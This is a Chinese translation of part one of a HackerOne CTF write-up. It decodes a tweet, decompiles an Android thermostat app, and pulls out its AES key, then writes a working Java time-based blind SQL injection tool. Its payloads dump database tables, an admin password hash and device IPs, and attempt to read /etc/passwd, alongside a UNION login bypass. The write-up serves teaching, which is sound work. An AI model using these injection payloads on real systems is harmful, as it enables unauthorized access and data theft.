Hackerone 50m-ctf writeup(第一部分)

2019-04-15 约 3648 字 预计阅读 8 分钟

声明:本文 【Hackerone 50m-ctf writeup(第一部分)】 由作者 bbdog 于 2019-04-15 09:30:00 首发 先知社区 曾经 浏览数 26 次

感谢 bbdog 的辛苦付出!

总结:

有关挑战的简要概述,您可以查看以下图像:

下面我将详细介绍我为解决CTF而采取的每一步,以及在某些情况下导致我走向死胡同的所有错误假设。

Twitter

CTF从这条tweet开始:

这些二进制是什么?

我的第一个想法是尝试解码图像上的二进制。我还注意到在'_'字符后,二进制数字与前面的相同,即:

01111010 01101100 01101001 01100010 00101011 01111000 10011100 01001011 11001010 00101100 11010001 01001011 11001001 11010111 11001111 00110000 00101100 11001001 01001000 00101101 11001010 00000101 00000000 00100101 11010010 00000101 00101001

所以,让我们看看这是否会转换成任何ascii码或可读的内容(python3的环境)

>>> bin_array_image = ['0b01111010', '0b01101100', '0b01101001', '0b01100010', '0b00101011', '0b01111000', '0b10011100', '0b01001011', '0b11001010', '0b00101100', '0b11010001', '0b01001011', '0b11001001', '0b11010111', '0b11001111', '0b00110000', '0b00101100', '0b11001001', '0b01001000', '0b00101101', '0b11001010', '0b00000101', '0b00000000', '0b00100101', '0b11010010', '0b00000101', '0b00101001']
>>> s = ''.join(chr(int(x,2)) for x in bin_array_image)
>>> print(s)
zlib+x�KÊ,ÑKÉ×Ï0,ÉH-Ê� %Ò�)

很好,前五个字符是:zlib +。所以,也许我们应该使用zlib来解压缩剩余的字节。

>>> import zlib
>>> byte_string = bytes([int(x,2) for x in bin_array_image][5:])
>>> print(zlib.decompress(byte_string))
b'bit.do/h1therm'

好。现在我们有一个重定向到Google云端硬盘中的APK文件的网址。我们下载吧。

APK

作为我的第一步,我使用JADX反编译应用程序并开始检查代码:

阅读AndroidManifest.xml我可以找到两个activity类:com.hackerone.thermostat.LoginActivitycom.hackerone.thermostat.ThermostatActivity

LoginActivity.class

LoginActivity的核心功能是对用户进行身份验证:

private void attemptLogin() throws Exception {
    ...
    JSONObject jSONObject = new JSONObject();
    jSONObject.put("username", username);
    jSONObject.put("password", password);
    jSONObject.put("cmd", "getTemp");
    Volley.newRequestQueue(this).add(new PayloadRequest(jSONObject, new Listener<String>() {
        public void onResponse(String str) {
            if (str == null) {
                LoginActivity.this.loginSuccess();
                return;
            }
            LoginActivity.this.showProgress(false);
            LoginActivity.this.mPasswordView.setError(str);
            LoginActivity.this.mPasswordView.requestFocus();
        }
    }));

attemptLogin中,App构建了一个像这样的json对象:{“username”:“”,“password”:“”,“cmd”:“getTemp”}然后实例化一个PayloadRequest对象,该对象将被添加到一个Volley Queue中去处理。那么让我们看看这个类做了什么。

PayloadRequest.class

public class PayloadRequest extends Request<String> {
     public PayloadRequest(JSONObject jSONObject, final Listener<String> listener) throws Exception {
        super(1, "http://35.243.186.41/", new ErrorListener() {
            public void onErrorResponse(VolleyError volleyError) {
                listener.onResponse("Connection failed");
            }
        });
        this.mListener = listener;
        this.mParams.put("d", buildPayload(jSONObject));
    }

从这里我们可以注意到一个URL http://35.243.186.41/,它可能被用作后端服务器。此外,还有一个名为buildPayload的方法,它将作为d参数的值。

private String buildPayload(JSONObject jSONObject) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");
        byte[] bArr = new byte[16];
        new SecureRandom().nextBytes(bArr);
        IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);
        Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
        instance.init(1, secretKeySpec, ivParameterSpec);
        byte[] doFinal = instance.doFinal(jSONObject.toString().getBytes());
        byte[] bArr2 = new byte[(doFinal.length + 16)];
        System.arraycopy(bArr, 0, bArr2, 0, 16);
        System.arraycopy(doFinal, 0, bArr2, 16, doFinal.length);
        return Base64.encodeToString(bArr2, 0);
    }

buildPayload方法在CBC模式下使用对称密钥算法[4](AES),它使用相同的加密密钥来加密明文和解密密文。而且,secretKeySpec是密钥,PKCS#5是填充方法。因此,我们的json总是被加密发送到后端服务器。此外,还有一种处理响应的方法,称为parseNetworkResponse,它使用相同的算法和密钥。

ThermostatActivity.class

另一个ActivityClass是ThermostatActivity,它两次调用setTargetTemperature并更新thermostatModel属性。同样使用LoginActivity中相同的json对象发送getTemp命令,但正如您所看到的,对结果没有做任何事情(String str)

private void setDefaults(final ThermostatModel thermostatModel) throws Exception {
        thermostatModel.setTargetTemperature(Integer.valueOf(77));
        thermostatModel.setCurrentTemperature(Integer.valueOf(76));
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("username", LoginActivity.username);
        jSONObject.put("password", LoginActivity.password);
        jSONObject.put("cmd", "getTemp");
        volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
            public void onResponse(String str) {
                thermostatModel.setTargetTemperature(Integer.valueOf(70));
                thermostatModel.setCurrentTemperature(Integer.valueOf(73));
            }
        }));
    }

com.hackerone.thermostat.Model.ThermostatModel

分析其他类,我们找到一个带有setTargetTemperatute方法的ThermostatModel,它给我们另一个命令:setTemp。这个新命令的有趣之处在于现在我们有了一个新的json属性temp,它是setTemp的参数。

public void setTargetTemperature(Integer num) {
        this.targetTemperature.setValue(num);
        try {
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("username", LoginActivity.username);
            jSONObject.put("password", LoginActivity.password);
            jSONObject.put("cmd", "setTemp");
            jSONObject.put("temp", num);
            ThermostatActivity.volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
                public void onResponse(String str) {
                }
            }));
        } catch (Exception unused) {
        }
        updateCooling();
    }

Dir Brute

为什么不这样做?我们有一个运行Web服务器的IP,所以让我们看一下今天是否是我们的幸运日,并获得一些唾手可得的结果,找出一个隐藏的端点。使用FFUF

./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt
./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt

没那么容易......

Creating a Java Application

在初始侦察之后,是时候尝试与后端服务器交互的一些攻击了。为此,我刚刚使用App中的相同源代码创建了一个java应用程序,并进行了少量更改。

public static String sendCommand(String username, String password, String cmd) throws Exception {
        return PayloadRequest.sendCommand(username, password, cmd, null);
    }

    public static String sendCommand(String username, String password, String cmd, String tmp) throws Exception {   
        JSONObject jSONObject = new JSONObject();
            jSONObject.put("username", username);
            jSONObject.put("password", password);
            jSONObject.put("cmd", cmd);
            if( tmp != null) {
            jSONObject.put("temp", tmp);
            }
            return send(jSONObject);
    }

    public static String send(Object jSONObject) throws Exception {
        String payload = PayloadRequest.buildPayload(jSONObject);
            URL url = new URL("http://35.243.186.41");
            HttpURLConnection con = (HttpURLConnection) url.openConnection();
            con.setRequestMethod("POST");

            Map<String, String> parameters = new HashMap<>();
            parameters.put("d", payload);
            ...
            return PayloadRequest.parseNetworkResponse(content.toString());
    }

所以我们现在可以使用上面的sendCommand方法向后端发送命令。我在这里的第一个猜测是尝试一些SQL注入。但是我们有一些限制,因为服务器只返回“无效的用户名或密码”或“Unknown”。第一条消息出现在没有错误但是用户名和密码不匹配的情况,第二条消息出现在某些东西出错的时候。因为这些限制,我们可以尝试2中方法:基于时间的盲注或者基于错误的盲注。让我们用最简单的payload来尝试基于时间的盲注:

System.out.println(PayloadRequest.sendCommand("'||sleep(10)#", "", ""));
// After 10 seconds ...
// {"success": false, "error": "Invalid username or password"}

Time Based SQL Injection

什么?我们找到漏洞了吗?上面的payload经过10秒钟才获得响应!这绝对是我的幸运日......我现在能做什么?也许是启动SQLMap?不,不!这不够31337(不够专业)!让我们用Java创建自己的SQL盲注exp!首先,我们需要比较两个字符,并根据响应时间确定一个布尔值:True或False。我们可以实现如下:

public static boolean blindBoolean(String payload) throws Exception {
        long startTime = System.nanoTime();

    PayloadRequest.sendCommand(payload, "", "");

    long endTime = System.nanoTime();
    long timeElapsed = endTime - startTime;     
    return (timeElapsed / 1000000) > PayloadRequest.TIME_TO_WAIT * 1000;    
    }

为了测量响应时间,我们需要获得调用sendCommand之前的时间和调用之后的时间,然后把2者相减,再与TIME_TO_WAIT相比较,如果所用的时间大于TIME_TO_WAIT则为True否则为False。
现在我们需要一个通用的查询模板,它允许我们从数据库中提取数据:

'||(IF((SELECT ascii(substr(column,{1},1)) from table limit {2},1){3}{4},SLEEP({5}),1))#

以及:

{1} -> %d -> 截取第几个字符
{2} -> 行偏移
{3} -> %c -> 比较操作符 ( =, >, <)
{4} -> %d -> ascii码
{5} -> %d -> 睡眠时间

为了提高性能,我们可以使用二分查找法进行基于时间的布尔检查:

public static String blindString(String injection, int len) throws Exception {  
        StringBuilder value = new StringBuilder("");
        for(int c = 1; c <= len; c++) {
            int low = 10;
        int high = 126;
        int ort = 0;
        while(low<high) {
            if( low-high == 1 ) {
                ort = low + 1;
            } else if ( low-high == -1 ) {
                ort = low;
            } else {
                ort = (low+high)/2;
            }

            String payload = String.format(injection, c, '=', ort, PayloadRequest.TIME_TO_WAIT );
            if( PayloadRequest.blindBoolean(payload) ) {
                value.append( Character.toString( (char) ort));
                break;
                }
            payload = String.format(injection, c, '>', ort, PayloadRequest.TIME_TO_WAIT );
            if( PayloadRequest.blindBoolean(payload) ) {
                low = ort;
                } else {
                high = ort;
            }
            }
        }
        return value.toString();
    }

所有准备看上去都很好那么开始泄漏一些数据:

Database recon

version()

public static String blindVersion() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(version(),%d,1)))%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 25);
    }
    // 10.1.37-MariaDB

database()

public static String blindDatabase() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(database(),%d,1)))%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 25);
    }
    // flitebackend

hostname + datadir

System.out.println(blindString("'||(IF((SELECT ascii(substr(@@hostname,%d,1)))%c%d,SLEEP(%d),1))#", 20)); 
    // hostname: de8c6c400a9f
    System.out.println(blindString("'||(IF((SELECT ascii(substr(@@datadir,%d,1)))%c%d,SLEEP(%d),1))#", 30));
    // datadir: /var/lib/mysql/

Tables

public static String blindTableName(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 100);
    }
    ...
    PayloadRequest.blindTableName(0); // devices
    PayloadRequest.blindTableName(1); // users
    PayloadRequest.blindTableName(2); // None

flitebackend数据库中找到2张表:devicesusers

Read files?

也许我们可以读取一些文件?

System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/hosts'),%d,1)))%c%d,SLEEP(%d),1))#", 20));
    System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/passwd'),%d,1)))%c%d,SLEEP(%d),1))#", 20));

我认为不行。

Login

也许你想知道为什么我还没有登录。因为我尝试登录前正在做基于时间的SQL盲注。所以让我们看看我们是否能够使用SQL注入登录:

System.out.println(PayloadRequest.sendCommand("' or 1=1#", "123123", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}

嗯,我们需要考虑后端如何进行登录处理:

1.SELECT username, password FROM users WHERE username='+ username_param +' and password = '+ password_param +' ?
2.SELECT password FROM table WHERE username='+ username_param +'; then check password?

对于1来说我们已经知道不是这种情况,因为使用'or 1=1#会给我们一个成功的消息。对于2来说我们需要另一个测试,首先,让我们检查一次查询有多少列。

System.out.println(PayloadRequest.sendCommand("' order by 1#", "", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}.

    System.out.println(PayloadRequest.sendCommand("' order by 2#", "", "getTemp")); 
    // {"success": false, "error": "Unknown"}

好的,基于错误消息,我们可以确认查询中只有一列。因此,我们可以尝试使用UNION伪造成功的查询:

System.out.println(PayloadRequest.sendCommand("' union all select ''#", "", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}

还是不行,看样子有一些其他的东西,退一步,让我们dump所有的用户表。

users table

首先,我们需要知道表结构。为了方便这个过程,我创建了一个名为blindColumnName的方法,它有两个参数:table和offset。这个方法会dump所有来自table指定的表的所有列名。

public static String blindColumnName(String table, int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(column_name,%d,1)) from information_schema.columns where table_name='"+table+"' and table_schema = database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 100);
    }

    ...
    PayloadRequest.blindColumnName("users",0); // id
    PayloadRequest.blindColumnName("users",1); // username
    PayloadRequest.blindColumnName("users",2); // password
    PayloadRequest.blindColumnName("users",3); // None

表结构users(id, username, password)

devices table

和上面的处理相同适用于devices表。

PayloadRequest.blindColumnName("devices",0); // id
    PayloadRequest.blindColumnName("devices",1); // ip
    PayloadRequest.blindColumnName("devices",2); // None

表结构devices(id, ip)

Dumping

知道了表结构,我们可以dump值:

public static String blindUsername(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(username,%d,1)) from users limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 5);
    }

    PayloadRequest.blindUsername(0); // admin
    PayloadRequest.blindUsername(1); // None

    public static String blindColumnUsersValues(String column, int length) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr("+column+",%d,1)) from users where username = 'admin')%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, length);
    }

    public static String blindPassword() throws Exception {
        return PayloadRequest.blindColumnUsersValues("password", 32);
    }

    PayloadRequest.blindPassword(); // 5f4dcc3b5aa765d61d8327deb882cf99

只有一个用户(“admin”,“5f4dcc3b5aa765d61d8327deb882cf99”)。这是哈希吗?用Google搜索它并找到答案,是的:md5('password')。现在我们可以使用admin:password或甚至使用sqli登录:

System.out.println(PayloadRequest.sendCommand("admin", "password", "getTemp"));
    // {"temperature": 73, "success": true}
    System.out.println(PayloadRequest.sendCommand("' union all select '47bce5c74f589f4867dbd57e9ca9f808'#", "aaa", "getTemp"));
    // {"temperature": 73, "success": true}

是时候dump表devices的数据了。

public static String blindIpDevices(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 16); // Fixed length
    }
    ...
    PayloadRequest.blindIpDevices(0);
    // Device: 0    192.88.99.253
    PayloadRequest.blindIpDevices(1);
    // Device: 1    192.88.99.252
    PayloadRequest.blindIpDevices(2);
    // Device: 2    10.90.120.23

在获得几个ips后,我注意到大多数都属于私有IP地址。我的第一个想法是构建一个移除所有私有IP地址的查询(参见where子句):

public static String blindDeviceQuery() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices where substr(ip,1,2) not in ('24', '25') and substr(ip,1,3) not in ('192', '10.', '198') limit 0,1)%c%d,SLEEP(%d),1))#"; 
        return PayloadRequest.blindString(injection, 16);
    }

    PayloadRequest.blindDeviceQuery();
    // 104.196.12.98

太好了!一个真实的IP地址。
原文链接

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now